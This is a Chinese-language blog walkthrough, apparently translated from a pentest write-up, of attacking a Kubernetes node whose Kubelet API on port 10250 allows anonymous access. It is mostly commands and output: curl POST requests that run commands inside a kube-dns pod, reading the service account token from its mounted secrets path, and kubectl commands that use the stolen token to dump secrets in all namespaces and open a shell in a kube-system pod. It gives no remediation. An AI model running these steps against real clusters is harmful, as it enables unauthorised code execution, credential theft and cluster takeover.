Kubernetes安全漏洞:未授权Kubelet API攻击与令牌窃取技术分析

本文详细分析了Kubernetes环境中未授权Kubelet API端口10250的安全风险,展示了如何通过该漏洞执行命令、窃取服务账户令牌,并利用kubectl工具获取集群完全访问权限的技术过程。

Kubernetes:未授权Kubelet API 10250令牌窃取与kubectl权限提升

kube-hunter扫描输出作为开始:

漏洞信息

位置 类别 漏洞 描述 证据
1.2.3.4:10250 远程代码执行 暴露容器内运行 攻击者可以在容器内运行任意命令
1.2.3.4:10250 远程代码执行 匿名认证 Kubelet配置错误,可能允许安全访问所有kubelet请求,无需认证

执行 curl -s https://k8-node:10250/runningpods/ 获取运行中的pod列表

利用这些数据,可以构造POST请求在pod中执行命令以便进行探测。

示例请求:

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"

输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
total 35264
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 .
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 ..
-rwxr-xr-x    1 root     root             0 Nov  9 16:27 .dockerenv
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 bin
drwxr-xr-x    5 root     root           380 Nov  9 16:27 dev
-rwxr-xr-x    1 root     root      36047205 Apr 13  2018 dnsmasq-nanny
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 etc
drwxr-xr-x    2 root     root          4096 Jan  9  2018 home
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 lib
drwxr-xr-x    5 root     root          4096 Nov  9 16:27 media
drwxr-xr-x    2 root     root          4096 Jan  9  2018 mnt
dr-xr-xr-x  134 root     root             0 Nov  9 16:27 proc
drwx------    2 root     root          4096 Jan  9  2018 root
drwxr-xr-x    2 root     root          4096 Jan  9  2018 run
drwxr-xr-x    2 root     root          4096 Nov  9 16:27 sbin
drwxr-xr-x    2 root     root          4096 Jan  9  2018 srv
dr-xr-xr-x   12 root     root             0 Dec 19 19:06 sys
drwxrwxrwt    1 root     root          4096 Nov  9 17:00 tmp
drwxr-xr-x    7 root     root          4096 Nov  9 16:27 usr
drwxr-xr-x    1 root     root          4096 Nov  9 16:27 var

检查环境变量,查看kubelet令牌是否在环境变量中。根据云提供商或托管提供商的不同,有时它们就在那里。否则我们需要从以下位置检索它们:

  1. 挂载的文件夹
  2. 云元数据URL

使用以下命令检查环境变量:

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"

我们正在寻找 KUBLET_CERT、KUBLET_KEY 和 CA_CERT 环境变量。

我们还在寻找Kubernetes API服务器。这很可能不是您在10250上操作的主机。我们正在寻找类似以下的内容:

1
KUBERNETES_PORT=tcp://10.10.10.10:443

1
KUBERNETES_MASTER_NAME: 10.11.12.13:443

一旦我们获得Kubernetes令牌或密钥,我们需要与API服务器通信来使用它们。Kubelet(10250)不知道如何处理它们。这可能(如果我们幸运的话)是另一个公共IP或10.* IP。如果是10.* IP,我们需要将kubectl下载到pod中。

假设它们不在环境变量中,让我们查看挂载的密钥中是否存在:

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"

示例输出(截断):

1
2
3
4
5
6
7
8
9
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /dev/termination-log type ext4 (rw,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/k8s/dns/dnsmasq-nanny type ext4 (rw,relatime,commit=30,data=ordered)
tmpfs on /var/run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hostname type ext4 (rw,nosuid,nodev,relatime,commit=30,data=ordered)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,commit=30,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)

然后我们可以输出ca.cert、namespace和token

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"

输出:

1
2
3
4
5
6
total 4
drwxrwxrwt    3 root     root          140 Nov  9 16:27 .
drwxr-xr-x    3 root     root         4.0K Nov  9 16:27 ..
lrwxrwxrwx    1 root     root           13 Nov  9 16:27 ca.crt -> ..data/ca.crt
lrwxrwxrwx    1 root     root           16 Nov  9 16:27 namespace -> ..data/namespace
lrwxrwxrwx    1 root     root           12 Nov  9 16:27 token -> ..data/token

然后:

1
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

输出:

1
eyJhbGciOiJSUzI1NiI---SNIP---

同时获取ca.crt :-)

有了token、ca.crt和API服务器IP地址,我们可以使用kubectl执行命令。

1
$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --all-namespaces

输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
NAMESPACE     NAME                                                           READY     STATUS    RESTARTS   AGE
kube-system   event-exporter-v0.1.9-5c-SNIP                          2/2       Running   2          120d
kube-system   fluentd-cloud-logging-gke-eeme-api-default-pool   1/1       Running   1          2y
kube-system   heapster-v1.5.2-5-SNIP                              3/3       Running   0          27d
kube-system   kube-dns-5b8-SNIP                                         4/4       Running   0          61d
kube-system   kube-dns-autoscaler-2-SNIP                             1/1       Running   1          252d
kube-system   kube-proxy-gke-eeme-api-default-pool             1/1       Running   1          2y 
kube-system   kubernetes-dashboard-7-SNIP                         1/1       Running   0          27d
kube-system   l7-default-backend-10-SNIP                          1/1       Running   0          27d
kube-system   metrics-server-v0.2.1-7-SNIP                       2/2       Running   0          120d

此时,您可以提取密钥或exec到任何可用的pod中

1
$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get secrets --all-namespaces

通过kubectl获取shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --namespace=kube-system

NAME                                                                       READY     STATUS    RESTARTS   AGE
event-exporter-v0.1.9-5-SNIP                              2/2       Running   2          120d
--SNIP--
metrics-server-v0.2.1-7f8ee58c8f-ab13f     2/2       Running   0          120d

$ kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- /bin/sh

/ # ls -lah
total 40220
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 .
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 ..
-rwxr-xr-x    1 root     root           0 Sep 11 07:25 .dockerenv
drwxr-xr-x    3 root     root        4.0K Sep 11 07:25 apiserver.local.config
drwxr-xr-x    2 root     root       12.0K Sep 11 07:24 bin
drwxr-xr-x    5 root     root          380 Sep 11 07:25 dev
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 etc
drwxr-xr-x    2 nobody   nogroup      4.0K Nov  1  2017 home
-rwxr-xr-x    2 root     root       39.2M Dec 20  2017 metrics-server
dr-xr-xr-x  135 root     root           0 Sep 11 07:25 proc
drwxr-xr-x    1 root     root        4.0K Dec 19 21:33 root
dr-xr-xr-x   12 root     root           0 Dec 19 19:06 sys
drwxrwxrwt    1 root     root        4.0K Oct 18 13:57 tmp
drwxr-xr-x    3 root     root        4.0K Sep 11 07:24 usr
drwxr-xr-x    1 root     root        4.0K Sep 11 07:25 var

为了完整性,如果您通过环境变量获取了密钥,kubectl命令将类似于这样:

1
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计